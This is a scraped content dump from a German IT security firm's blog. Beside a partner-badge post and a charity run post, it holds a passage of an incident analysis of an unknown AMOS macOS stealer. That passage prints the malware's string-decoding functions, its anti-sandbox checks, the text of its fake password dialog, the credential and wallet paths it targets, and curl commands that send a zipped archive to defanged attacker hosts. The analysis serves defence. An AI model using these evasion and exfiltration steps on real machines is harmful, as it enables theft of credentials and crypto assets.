hier richtig zu sein, und nehmen uns dafür die Zeit, die es braucht.","Wir freuen uns darauf,\u003Cbr />von dir zu hören!",[2177,2178],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":766,"href":2179,"icon":1800},"mailto:info@glueckkanja.com",{"ctaText":1802,"cta":2181,"method":1074,"action":1805,"fields":2182},{"skin":1804},[2183,2184,2186,2188,2189,2191,2192,2194,2196,2197,2198],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":2185},"Bitte gib deinen Namen ein.",{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":2187},"Bitte gib deine E-Mail-Adresse ein.",{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":2190,"type":1830,"id":1831,"required":511,"requiredMsg":1832},"Deine Daten werden gespeichert und zur Bearbeitung deiner Anfrage verwendet. Details findest du in unserer \u003Ca href=\"/de/privacy\">Datenschutzerklärung\u003C/a>.",{"type":1808,"id":1834,"value":1773},{"type":1808,"id":1836,"value":2193},"World",{"type":1808,"id":1839,"value":2195},"Form: Careers | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},[2200,2202,2204],{"lang":4,"href":2201},"/de/posts/2026-07-01-onboarding-process",{"lang":1088,"href":2203},"/en/posts/2026-07-01-onboarding-process",{"lang":1091,"href":2205},"/es/posts/2026-07-01-onboarding-process",{"slick":511,"form":511},"/posts/2026-07-01-onboarding-process",{"title":2000,"description":2006},"posts/2026-07-01-onboarding-process",[2211,2212,2213],"Employer Branding","Onboarding","Unternehmenskultur","sD0KosyvLwqMD8Lg6ECqseq8VaMdVygT_lTHZU0_teA",{"id":2216,"title":2217,"author":2218,"body":2219,"cta":767,"description":2223,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":2279,"moment":2281,"navigation":511,"path":2322,"seo":2323,"stem":2324,"tags":2325,"webcast":752,"__hash__":2327},"content_de/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: wir gehören dazu",[1306],{"type":806,"value":2220,"toc":2274},[2221,2224,2228,2230,2233,2237,2239,2242,2262,2265,2269,2271],[814,2222,2223],{},"Im Microsoft-Partner-Ökosystem gibt es eine ganze Reihe von Anerkennungen, und doch hebt sich das Frontier Partner Badge in seiner Anlage von den anderen Auszeichnungen ab. Es lässt sich nicht beantragen, sondern wird auf Initiative von Microsoft an einen exklusiven Kreis von Partnern vergeben, die in mehreren Disziplinen parallel überzeugen müssen, statt in einer einzelnen zu glänzen. Microsoft prüft dabei nachgewiesene Kompetenz in Cloud & AI Platforms, in AI Business Solutions und in Security gleichermaßen und adressiert damit Unternehmen, die KI nicht als Aufsatz auf bestehende IT verstehen, sondern als Ergebnis einer durchgängigen Architektur, die von der Identität über den Endpoint bis in den produktiven KI-Betrieb trägt.",[809,2225,2227],{"id":2226},"was-microsoft-mit-dem-badge-prüft","Was Microsoft mit dem Badge prüft",[814,2229,816],{},[814,2231,2232],{},"Microsoft prüft beim Frontier Partner Badge nicht eine Disziplin allein, sondern eine Kette, in der sich Cloud-Plattform, KI-Anwendung und Security gegenseitig bedingen. Die Cloud-Plattform und die KI-Infrastruktur müssen tragfähig genug sein, damit produktive KI-Anwendungen darauf laufen können, und diese Anwendungen wiederum müssen den Übergang aus dem Pilot in den Regelbetrieb tatsächlich vollziehen, nicht nur in der Demo überzeugen. Die Absicherung dieser Umgebung gegen reale Angriffe steht in beiden Disziplinen quer im Raum und entscheidet darüber, ob aus einem KI-Vorhaben am Ende produktive Wertschöpfung wird oder ein Sicherheitsrisiko, das in regulierten Branchen nicht tragbar ist. Daten- und Identitäts-Architektur sind in diesem Modell keine separaten Themen, sondern Teil jeder dieser Disziplinen, und genau an dieser Stelle scheitern die meisten KI-Vorhaben in Unternehmen, wenn die Foundation darunter nicht trägt.",[809,2234,2236],{"id":2235},"worauf-das-badge-bei-uns-aufsetzt","Worauf das Badge bei uns aufsetzt",[814,2238,816],{},[814,2240,2241],{},"Wir bauen seit Jahren in der Reihenfolge, in der Microsoft prüft: zunächst die Foundation, auf der alles ruht, dann die Workloads, die darauf laufen, und schließlich die Intelligenz, die in diese Workloads einzieht. Jeder Bereich, den Microsoft beim Frontier Partner Badge betrachtet, mappt auf einen unserer Services, der in produktiven Kundenumgebungen läuft und damit nicht im Konzeptpapier, sondern im Tagesbetrieb verifiziert ist.",[814,2243,2244,2245,2247,2248,2250,2251,2247,2253,2255,2256,2258,2259,2261],{},"Im Arbeitsplatz halten die ",[821,2246,131],{"href":132}," und ",[821,2249,45],{"href":46}," Windows 365, Azure Virtual Desktop und klassische Endgeräte unter einer gemeinsamen Logik zusammen, und darunter sorgt eine versionskontrollierte Intune-Umgebung dafür, dass jede Richtlinie als Code gepflegt wird und Drift-Erkennung anschlägt, bevor eine Konfigurationsabweichung ausnutzbar wird. Auf der Cloud-Plattform liefern die ",[821,2252,319],{"href":320},[821,2254,339],{"href":340}," eine Landing Zone und eine Lakehouse-Architektur, die KI-Anwendungen mit konsistenten Daten versorgen und die Trennung von Plattform- und Anwendungsebene konsequent durchziehen. Auf der Security-Ebene sorgen der ",[821,2257,396],{"href":397}," und unser Cloud Security Operations Center für einen vollständig getrennten administrativen Kontext, für Privileged Access Workstations und für einen rund um die Uhr überwachten SOC-Betrieb, der in Defender und Sentinel Angriffe nicht erst dann sieht, wenn sie schon Wirkung entfaltet haben. Und in der KI-Anwendung rekonstruieren die ",[821,2260,478],{"href":479}," Incidents in Defender XDR, reichern sie mit Bedrohungsdaten an und übernehmen damit Triage-Arbeit, die heute Stunden im SOC bindet.",[814,2263,2264],{},"Genau diese durchgängige Kette, vom Arbeitsplatz bis in die produktive KI-Anwendung, ist die Substanz, die Microsoft mit dem Frontier Partner Badge bestätigt.",[809,2266,2268],{"id":2267},"was-das-badge-für-kundenprojekte-bedeutet","Was das Badge für Kundenprojekte bedeutet",[814,2270,816],{},[814,2272,2273],{},"Für ein Unternehmen, das überlegt, mit welchem Partner es seine ersten produktiven KI-Projekte aufsetzt, ist das Frontier Partner Badge eine Abkürzung im Auswahlprozess, weil das Siegel von Microsoft direkt vergeben wird und damit signalisiert, dass diese Gruppe KI-Projekte in regulierten, security-sensiblen Umgebungen zu Ende bringen kann. In der Praxis verschiebt das die Gespräche zwischen Partner, Kunde und Microsoft auf eine andere Ebene, weil Frontier Partner näher an Microsofts Roadmap sitzen und für Pilotprogramme und frühe Releases direkt adressiert werden, während Microsoft-Account-Teams sie für Co-Engagements heranziehen, wenn ein Kunde bei einem KI-Vorhaben technische Tragfähigkeit braucht. Zugleich stehen die ausgezeichneten Partner unter dauerhaftem Nachweisdruck, denn wer in diesem Jahr qualifiziert ist, muss es im nächsten Jahr wieder sein, und der Anforderungskatalog selbst verschiebt sich von Jahr zu Jahr. Bestandsschutz gibt es nicht.",{"title":1062,"searchDepth":1063,"depth":1063,"links":2275},[2276,2277,2278],{"id":2226,"depth":1063,"text":2227},{"id":2235,"depth":1063,"text":2236},{"id":2267,"depth":1063,"text":2268},{"lang":4,"seoTitle":2280,"titleClass":1077,"date":2281,"categories":2282,"blogtitlepic":2283,"socialimg":2284,"customExcerpt":2285,"keywords":2286,"contactInContent":2287,"hreflang":2316,"published":511,"scripts":2321},"Microsoft Frontier Partner Badge: glueckkanja qualifiziert","2026-06-26",[1773],"head-frontier-partner-badge.jpg","/blog/heads/head-frontier-partner-badge.jpg","Seit kurzem gibt es im Microsoft AI Cloud Partner Program eine neue Spitzenauszeichnung, das Frontier Partner Badge. Microsoft verleiht es ausschließlich an einen exklusiven Kreis von Partnern weltweit, die KI-Projekte auf dem gesamten Microsoft-Stack tragfähig liefern, vom Arbeitsplatz über die Cloud-Plattform und Security bis in die KI-Anwendung selbst, und diesen Anspruch in der Praxis nachgewiesen haben. Im DACH-Raum zählt diese Gruppe nur eine Handvoll Unternehmen, und wir sind eines davon.","Frontier Partner, Microsoft Frontier Partner Badge, Microsoft AI Cloud Partner Program, Solutions Partner Designation, Specialization Copilot, Specialization AI Apps, Specialization Data Security, Microsoft Partner Deutschland, Microsoft AI Solutions Partner, glueckkanja Microsoft Partner, Copilot Solutions Partner, Modern Work, Security Solutions Partner, Microsoft Partner Center",{"quote":511,"infos":2288},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":1961,"subline":2289,"level":809,"textStyling":1784,"flush":1785,"person":2290,"form":2299},"Ihr plant KI-Vorhaben im Microsoft-Stack und wollt wissen, was das Frontier-Badge in der Praxis für eure Umgebung bedeutet? Sprecht uns an, wir gehen mit euch durch, wo ihr heute steht und was sinnvoll als Nächstes kommt.",{"image":2291,"cloudinary":511,"alt":2292,"name":2293,"quotee":2293,"quoteeTitle":2294,"quote":2295,"detailsHeader":1791,"details":2296},"/people/at-andreas-hoetzinger.png","Andreas Hötzinger, Head of Partner Alliances","Andreas Hötzinger","Head of Partner Alliances","Microsoft hat die Latte mit dem Frontier Partner Badge bewusst hoch gelegt. Wer durchgeht, hat in mehreren Disziplinen geliefert, nicht in einer. Für Kunden ist das im Auswahlprozess die kürzeste Antwort auf die Frage, wer KI im Microsoft-Stack tragfähig macht.",[2297,2298],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":766,"href":2179,"icon":1800},{"ctaText":1802,"cta":2300,"method":1074,"action":1805,"fields":2301},{"skin":1804},[2302,2303,2304,2306,2307,2308,2309,2310,2311,2313,2314,2315],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":2185},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":2305},"Bitte gib dein Unternehmen ein.",{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":2187},{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":2190,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1834,"value":1773},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":2312},"Form: Frontier Partner | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},[2317,2319],{"lang":1088,"href":2318},"/en/posts/2026-06-26-frontier-partner",{"lang":1091,"href":2320},"/es/posts/2026-06-26-frontier-partner",{"slick":511,"form":511},"/posts/2026-06-26-frontier-partner",{"title":2217,"description":2223},"posts/2026-06-26-frontier-partner",[1860,2326,1117],"Microsoft Partner","tLCzUAnMNG47RJlgvquX3YwGkm9VcOsCR-QbrnWl0S4",{"id":2329,"title":2330,"author":2331,"body":2332,"cta":767,"description":2336,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":2401,"moment":2403,"navigation":511,"path":2421,"seo":2422,"stem":2423,"tags":2424,"webcast":752,"__hash__":2427},"content_de/posts/2026-06-09-vair-run.md","160 Kilometer für den guten Zweck",[1404],{"type":806,"value":2333,"toc":2396},[2334,2337,2341,2343,2352,2356,2358,2367,2370,2375,2379,2381,2384,2390,2393],[814,2335,2336],{},"Sonntagmorgen, 8:30 Uhr, Holbeinsteg am Main. Elf Kolleginnen und Kollegen in einheitlichen NinjaCat-Shirts, bereit für die Frankfurter Runden. Regen, Blitz und Donner inklusive. Für einen guten Zweck zu laufen war Motivation genug, um trotz des schlechten Wetters die Laufschuhe zu schnüren.",[809,2338,2340],{"id":2339},"frankfurt-läuft-und-läuft-und-läuft","Frankfurt läuft. Und läuft. Und läuft.",[814,2342,816],{},[814,2344,2345,2346,2351],{},"Die Frankfurter Runden sind ein Breitensport-Event auf einer 10 Kilometer langen Laufstrecke am Mainufer, vorbei an der EZB und dem Hafenpark, mit der Frankfurter Skyline im Blick. Das Besondere: Wer antritt, entscheidet erst im Rennen, wie oft er die Runde dreht. Ein bis vier Runden, also 10 bis 40 Kilometer. Nach jeder absolvierten Runde die freie Wahl: weiterlaufen oder ins Ziel abbiegen. glueckkanja hat den Mitarbeitenden noch einen zusätzlichen Antrieb gesetzt: Pro gelaufene Runde spendet glueckkanja an den ",[821,2347,2350],{"href":2348,"rel":2349},"https://vairein.de/",[825],"VAIR e.V."," in Offenbach und speziell an das Projekt Vairplay.",[809,2353,2355],{"id":2354},"ein-park-für-alle-mitten-in-offenbach","Ein Park für alle, mitten in Offenbach",[814,2357,816],{},[814,2359,2360,2361,2366],{},"Der VAIR e.V. baut unter der Kaiserleibrücke mit ",[821,2362,2365],{"href":2363,"rel":2364},"https://www.vairplay-of.de/",[825],"Vairplay"," den ersten öffentlichen inklusiven Sport- und Kulturpark der Stadt. Auf einer bisher brachliegenden Fläche von rund 10.000 Quadratmetern soll ein Ort entstehen, der Sport, Bewegung und Kultur zusammenbringt, barrierefrei, offen für alle Altersgruppen und mit Tribünenbühnen für Veranstaltungen.",[814,2368,2369],{},"Zijad Doličanin, Vorstandsvorsitzender des VAIR e.V., sieht darin einen Raum, in dem Menschen zusammenkommen, sich austauschen und Gemeinschaft erleben können, soziale und kulturelle Grenzen überwunden werden und der Zusammenhalt in der Region wächst. Ein Treffpunkt für eine Stadt, die für ihr buntes Miteinander bekannt ist. glueckkanja ist durch und durch ein Offenbacher Unternehmen, hier hat alles angefangen, viele Kolleginnen und Kollegen kommen aus der Region, und soziales Engagement fängt für uns dort an, wo wir verwurzelt sind.",[2371,2372],"quotes",{":quotes":2373,":no-fullscreen":2043,"spacing":2374},"quoteZijad","mb-10",[809,2376,2378],{"id":2377},"_16-runden-eine-siegerehrung-und-viel-jubel","16 Runden, eine Siegerehrung und viel Jubel",[814,2380,816],{},[814,2382,2383],{},"Kurz nach dem Start zog die erste Gewitterfront über Frankfurt. Dicke Regentropfen, Blitz, Donner, etwas Wind dazu. Auf der Strecke kam kurz die Frage auf, ob die Veranstaltung wohl abgebrochen wird. Wird sie nicht. Also weiter. Die Zuschauer am Mainufer haben trotz des Wetters durchgehend angefeuert, genau die richtige Motivation, wenn man nass und in der zweiten Runde ist.",[814,2385,2386],{},[1728,2387],{"alt":2388,"src":2389},"Frankfurter Runden mit unserer NinjaCat","https://res.cloudinary.com/c4a8/image/upload/blog/pics/frankfurter-runden.jpg",[814,2391,2392],{},"Angefeuert haben sich aber auch die GKler gegenseitig, und das hat sich ausgezahlt. Insgesamt hat das Team an diesem Morgen 16 Runden absolviert. Acht Kolleginnen und Kollegen haben eine Runde gedreht, zwei haben sich für zwei Runden entschieden. Und dann war da noch Lisa, die nach der ersten Runde einfach weitergelaufen ist. Und nach der zweiten auch. 30 Kilometer, Zeit 2:18:50, zweiter Platz Gesamtwertung der Frauen, erster Platz in der Altersklasse. Das Team hat bis zur letzten Sekunde lautstark zugejubelt und auch während der Siegerehrung nicht aufgehört.",[814,2394,2395],{},"160 Kilometer sind an diesem Morgen zusammengekommen, einer nach dem anderen, im Regen, und jeder davon fließt in einen Park, den es in Offenbach noch nicht gibt. 2027 läuft das Team wieder, vielleicht bei besserem Wetter, vielleicht auch nicht.",{"title":1062,"searchDepth":1063,"depth":1063,"links":2397},[2398,2399,2400],{"id":2339,"depth":1063,"text":2340},{"id":2354,"depth":1063,"text":2355},{"id":2377,"depth":1063,"text":2378},{"lang":4,"seoTitle":2402,"titleClass":1077,"date":2403,"categories":2404,"blogtitlepic":2405,"socialimg":2406,"customExcerpt":2407,"keywords":2408,"hreflang":2409,"scripts":2414,"quoteZijad":2415},"Frankfurter Runden 2026: glueckkanja läuft 160 Kilometer für den VAIR e.V. Offenbach","2026-06-08",[1773],"frankfurter-runden.png","/blog/heads/frankfurter-runden.png","Elf Kollegen und Kolleginnen, 16 Runden, 160 Kilometer, ein Gewittersturm und eine Podiumsplatzierung: glueckkanja war bei den Frankfurter Runden 2026 dabei und hat für jede gelaufene Runde an den VAIR e.V. gespendet, der in Offenbach einen inklusiven Sport- und Kulturpark baut.","Frankfurter Runden, Spendenlauf Frankfurt, CSR IT Unternehmen, soziales Engagement Offenbach, Teambuilding Offenbach, Top Arbeitgeber Rhein-Main, Vairein Offenbach, VAIR e.V. Offenbach, Vairplay Offenbach, glueckkanja Offenbach, Employer Branding IT, Unternehmenskultur IT, IT Unternehmen Offenbach, Breitensport Frankfurt, inklusiver Park Offenbach, Arbeiten bei glueckkanja",[2410,2412],{"lang":1088,"href":2411},"/en/posts/2026-06-09-vair-run",{"lang":1091,"href":2413},"/es/posts/2026-06-09-vair-run",{"slick":511,"form":511},{"items":2416},[2417],{"text":2418,"name":2419,"company":2420,"alt":2419},"Das Engagement lokaler Unternehmen ist ein wichtiges Signal für gesellschaftliche Verantwortung und gelebte Verbundenheit mit der Region. Solche Partnerschaften ermöglichen nachhaltige Projekte, schaffen Mehrwert für die Gemeinschaft und zeigen, was gemeinsam erreicht werden kann.","Zijad Doličanin","Vorstandsvorsitzender VAIR e.V.","/posts/2026-06-09-vair-run",{"title":2330,"description":2336},"posts/2026-06-09-vair-run",[2425,2211,2426],"Top Arbeitgeber","Soziales Engagement","4XmcxIngl9Ry4hnX4j0zaLKvuuaA5aFOfPgAKjxN_3E",{"id":2429,"title":2430,"author":2431,"body":2432,"cta":767,"description":2436,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":4567,"moment":4569,"navigation":511,"path":4626,"seo":4627,"stem":4628,"tags":4629,"webcast":752,"__hash__":4635},"content_de/posts/2026-04-10-incident-to-intelligence.md","Anatomie eines unbekannten AMOS Stealers: Vom Alert zur Immunität in Stunden",[1385],{"type":806,"value":2433,"toc":4531},[2434,2437,2440,2443,2446,2450,2452,2455,2463,2465,2469,2472,2475,2486,2489,2492,2500,2503,2507,2509,2512,2533,2536,2544,2547,2555,2562,2566,2568,2571,2579,2594,2598,2600,2603,2607,2610,2618,2622,2624,2632,2636,2638,2641,2645,2647,2650,2658,2662,2664,2671,2674,2771,2774,2804,2806,2810,2812,2818,2821,2825,2827,2910,2914,2916,2927,2934,3007,3018,3025,3029,3031,3096,3100,3102,3109,3111,3115,3117,3124,3150,3337,3340,3348,3359,3362,3370,3385,3398,3400,3404,3406,3424,3446,3636,3639,3647,3650,3653,3655,3659,3661,3664,3742,3745,3764,3843,3846,3848,3852,3854,3857,3864,3919,3922,3930,3933,3935,3939,3941,3948,3960,4008,4019,4058,4067,4082,4085,4087,4091,4093,4100,4103,4111,4114,4122,4136,4139,4141,4145,4147,4157,4161,4163,4181,4189,4203,4223,4227,4229,4232,4240,4243,4251,4265,4269,4271,4274,4282,4301,4307,4311,4313,4321,4327,4334,4338,4340,4348,4352,4354,4357,4365,4368,4372,4374,4382,4386,4388,4396,4400,4402,4410,4414,4416,4424,4441,4446,4448,4452,4454,4461,4478,4481,4494,4496,4500,4502,4505,4508,4511,4527],[814,2435,2436],{},"Wenn in unserem SOC ein Alert ausgelöst wird, beginnt die Uhr zu laufen: nicht nur für den betroffenen Kunden, sondern für alle Organisationen unter unserem Schutz. Der gefährlichste Moment im modernen Bedrohungsumfeld ist die Intelligence Gap, das Zeitfenster zwischen dem ersten Einsatz einer neuen Malware-Variante und dem Tag, an dem die Branche davon erfährt.",[814,2438,2439],{},"Für eigenständige Security-Teams bedeutet diese Lücke extreme Verwundbarkeit: Man wartet auf ein Vendor-Update oder einen Signatur-Feed, der noch nicht geschrieben wurde. Für unsere Kunden schließt unsere intern entwickelte Shared Threat Intelligence genau dieses Fenster.",[814,2441,2442],{},"Dieser Beitrag ist eine technische Aufschlüsselung, wie wir eine bisher undokumentierte AMOS-Variante (Atomic macOS Stealer) zerlegten und wie aus einem einzigen kompromittierten Endpoint innerhalb weniger Stunden eine flächendeckende Erkennung und Blockierung für alle unsere Kundenumgebungen wurde.",[2444,2445],"hr",{},[1870,2447,2449],{"id":2448},"der-vorfall-ein-unbekanntes-ioc-szenario","Der Vorfall: Ein unbekanntes IOC-Szenario",[814,2451,816],{},[814,2453,2454],{},"Der Alert traf am 12. März 2026 um 06:25 Uhr Ortszeit ein: Ein macOS-Endpoint war kompromittiert worden. Als unser SOC mit der Analyse der Artefakte begann, standen wir vor einer Situation, die jeder Threat Analyst fürchtet: keine bekannten Datei-Hashes, keine C2-IP-Adressen, keine aussagekräftigen Verhaltenssignaturen in öffentlichen Datenbanken.",[814,2456,2457,2458,2462],{},"Die vollständige Angriffsarchitektur offenbarte sich erst in der Tiefenanalyse. Die Infektion basierte auf einer 15,7 MB großen macOS Universal Binary (x86_64 und ARM64), abgelegt unter ",[2459,2460,2461],"code",{},"/private/tmp/helper",". Das Sample war auf dem kompromittierten System nicht direkt verfügbar; unser Team musste die Infektionskette rekonstruieren und die ursprüngliche Zustellanfrage simulieren, um die Binary manuell aus der Angreifer-Infrastruktur zu beziehen.",[2444,2464],{},[809,2466,2468],{"id":2467},"stage-1-sandbox-prüfungen","Stage 1: Sandbox-Prüfungen",[814,2470,2471],{},"{: .h4-font-size}",[814,2473,2474],{},"Bevor der eigentliche Stealer auf dem Gerät ausgeführt wurde, hatte bereits ein AppleScript-Payload gelaufen. Jeder String darin, jeder Dateipfad, jeder Shell-Befehl, jede URL war über drei benutzerdefinierte arithmetische Funktionen kodiert:",[2045,2476,2478],{"style":2477},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[2479,2480,2484],"pre",{"className":2481,"code":2483,"language":1813},[2482],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[2459,2485,2483],{"__ignoreMap":1062},[814,2487,2488],{},"Kein einziger String erscheint im Klartext. Was auf den ersten Blick wie bedeutungslose Integer-Arrays aussah, entpuppte sich nach Umkehrung des Kodierungsschemas als vollständiges, einsatzbereites Datendiebstahl- und Exfiltrationsframework.",[814,2490,2491],{},"Wir dekodierten jeden Array im Skript statisch. Die Ergebnisse waren eindeutig:",[2045,2493,2494],{"style":2477},[2479,2495,2498],{"className":2496,"code":2497,"language":1813},[2482],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[2459,2499,2497],{"__ignoreMap":1062},[814,2501,2502],{},"Die Download-URL imitiert bewusst ein legitimes n8n-Workflow-Automation-Update, ein Tool, das bei Entwicklern und DevOps-Ingenieuren weit verbreitet ist. Das ist kein Zufall: Die Kampagne zielt auf technisch versierte Nutzer, nicht auf gewöhnliche Endnutzer, die gecrackte Software installieren.",[809,2504,2506],{"id":2505},"der-anti-sandbox-check","Der Anti-Sandbox-Check",[814,2508,2471],{},[814,2510,2511],{},"Vor dem Download führte das Skript eine dedizierte VM- und Sandbox-Erkennungsroutine aus. Aus den Incident-Artefakten konnten wir zusätzlich ein eigenständiges Anti-Sandbox-Skript wiederherstellen:",[2045,2513,2514],{"style":2477},[2479,2515,2519],{"className":2516,"code":2517,"language":2518,"meta":1062,"style":1062},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[2459,2520,2521,2528],{"__ignoreMap":1062},[1706,2522,2525],{"class":2523,"line":2524},"line",1,[1706,2526,2527],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1706,2529,2530],{"class":2523,"line":1063},[1706,2531,2532],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[814,2534,2535],{},"Die Ergebnisse prüfte das Skript dann gegen zwei Listen. Die erste suchte nach Virtualisierungsmarkierungen in den Speicherdaten:",[2045,2537,2538],{"style":2477},[2479,2539,2542],{"className":2540,"code":2541,"language":1813},[2482],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[2459,2543,2541],{"__ignoreMap":1062},[814,2545,2546],{},"Die zweite prüfte Hardware-Identifikatoren gegen eine Liste bekannter Seriennummern von Analysemaschinen:",[2045,2548,2549],{"style":2477},[2479,2550,2553],{"className":2551,"code":2552,"language":1813},[2482],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[2459,2554,2552],{"__ignoreMap":1062},[814,2556,2557,2558,2561],{},"Bei einer Übereinstimmung: ",[2459,2559,2560],{},"exit 100",", vollständiger Abbruch. Auf einem echten MacBook Pro mit Apple Silicon bestanden alle Prüfungen lautlos, und die Ausführung fuhr fort. Eine Sandbox-Evasionstechnik auf professionellem Niveau, die ablief, bevor ein einziges Byte der Binary heruntergeladen war.",[809,2563,2565],{"id":2564},"einfach-aber-wirkungsvoll-die-gefälschte-passwortabfrage","Einfach, aber wirkungsvoll: Die gefälschte Passwortabfrage",[814,2567,2471],{},[814,2569,2570],{},"Das dekodierte Skript enthielt auch den Dialog für die Privilegienerweiterung via Social Engineering:",[2045,2572,2573],{"style":2477},[2479,2574,2577],{"className":2575,"code":2576,"language":1813},[2482],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[2459,2578,2576],{"__ignoreMap":1062},[814,2580,2581,2582,2585,2586,2589,2590,2593],{},"Der Dialog erscheint über einen Standard-macOS-",[2459,2583,2584],{},"display dialog","-Aufruf mit ",[2459,2587,2588],{},"with hidden answer"," und ist optisch nicht von einer echten macOS-Autorisierungsabfrage zu unterscheiden. Das eingegebene Passwort nutzte das Skript, um ",[2459,2591,2592],{},"login -pf \u003Cusername>"," aufzurufen und den Prozess auf Root-Rechte zu heben, noch bevor die Binary ausgeführt wurde.",[809,2595,2597],{"id":2596},"was-das-skript-gesammelt-hat","Was das Skript gesammelt hat",[814,2599,2471],{},[814,2601,2602],{},"Sobald die Binary ausgeführt war, setzte das osascript seinen eigenen Sammlungsablauf fort und griff jede Kategorie sensibler Systemdaten ab. Wir dekodierten alle Sammlungspfade und Ziele:",[1684,2604,2606],{"id":2605},"browser-daten-alle-chromium-browser-safari","Browser-Daten (alle Chromium-Browser + Safari):",[814,2608,2609],{},"{: .font-size-4}",[2045,2611,2612],{"style":2477},[2479,2613,2616],{"className":2614,"code":2615,"language":1813},[2482],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[2459,2617,2615],{"__ignoreMap":1062},[1684,2619,2621],{"id":2620},"macos-keychain","macOS Keychain:",[814,2623,2609],{},[2045,2625,2626],{"style":2477},[2479,2627,2630],{"className":2628,"code":2629,"language":1813},[2482],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[2459,2631,2629],{"__ignoreMap":1062},[1684,2633,2635],{"id":2634},"apple-notes","Apple Notes",[814,2637,2609],{},[814,2639,2640],{},"Vollständiger Inhalt als HTML mit Zähler-Header exportiert",[1684,2642,2644],{"id":2643},"lokale-dateien","Lokale Dateien",[814,2646,2609],{},[814,2648,2649],{},"Desktop und Dokumente, bis zu 30 MB, mit Fokus auf:",[2045,2651,2652],{"style":2477},[2479,2653,2656],{"className":2654,"code":2655,"language":1813},[2482],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[2459,2657,2655],{"__ignoreMap":1062},[1684,2659,2661],{"id":2660},"kryptowährungs-wallets","Kryptowährungs-Wallets",[814,2663,2609],{},[814,2665,2666,2667,2670],{},"Eine hartcodierte Liste von ",[973,2668,2669],{},"mehr als 200 Browser-Extension-IDs",", die alle gängigen Wallets abdeckt, darunter MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI und Exodus.",[814,2672,2673],{},"Nach der Sammlung wurden alle Daten in einem zufällig benannten temporären Verzeichnis gebündelt und exfiltriert:",[2045,2675,2676],{"style":2477},[2479,2677,2681],{"className":2678,"code":2679,"language":2680,"meta":1062,"style":1062},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[2459,2682,2683,2717,2743,2759],{"__ignoreMap":1062},[1706,2684,2685,2689,2693,2696,2699,2703,2707,2711,2714],{"class":2523,"line":2524},[1706,2686,2688],{"class":2687},"sScJk","ditto",[1706,2690,2692],{"class":2691},"sj4cs"," -c",[1706,2694,2695],{"class":2691}," -k",[1706,2697,2698],{"class":2691}," --sequesterRsrc",[1706,2700,2702],{"class":2701},"szBVR"," \u003C",[1706,2704,2706],{"class":2705},"sZZnC","staging_di",[1706,2708,2710],{"class":2709},"sVt8B","r",[1706,2712,2713],{"class":2701},">",[1706,2715,2716],{"class":2705}," /tmp/out.zip\n",[1706,2718,2719,2722,2725,2728,2731,2734,2737,2740],{"class":2523,"line":1063},[1706,2720,2721],{"class":2687},"curl",[1706,2723,2724],{"class":2691}," --connect-timeout",[1706,2726,2727],{"class":2691}," 120",[1706,2729,2730],{"class":2691}," --max-time",[1706,2732,2733],{"class":2691}," 300",[1706,2735,2736],{"class":2691}," -X",[1706,2738,2739],{"class":2705}," POST",[1706,2741,2742],{"class":2691}," \\\n",[1706,2744,2745,2748,2751,2754,2757],{"class":2523,"line":1765},[1706,2746,2747],{"class":2691},"  -H",[1706,2749,2750],{"class":2705}," \"user: \u003Cuuid>\"",[1706,2752,2753],{"class":2691}," -H",[1706,2755,2756],{"class":2705}," \"BuildID: 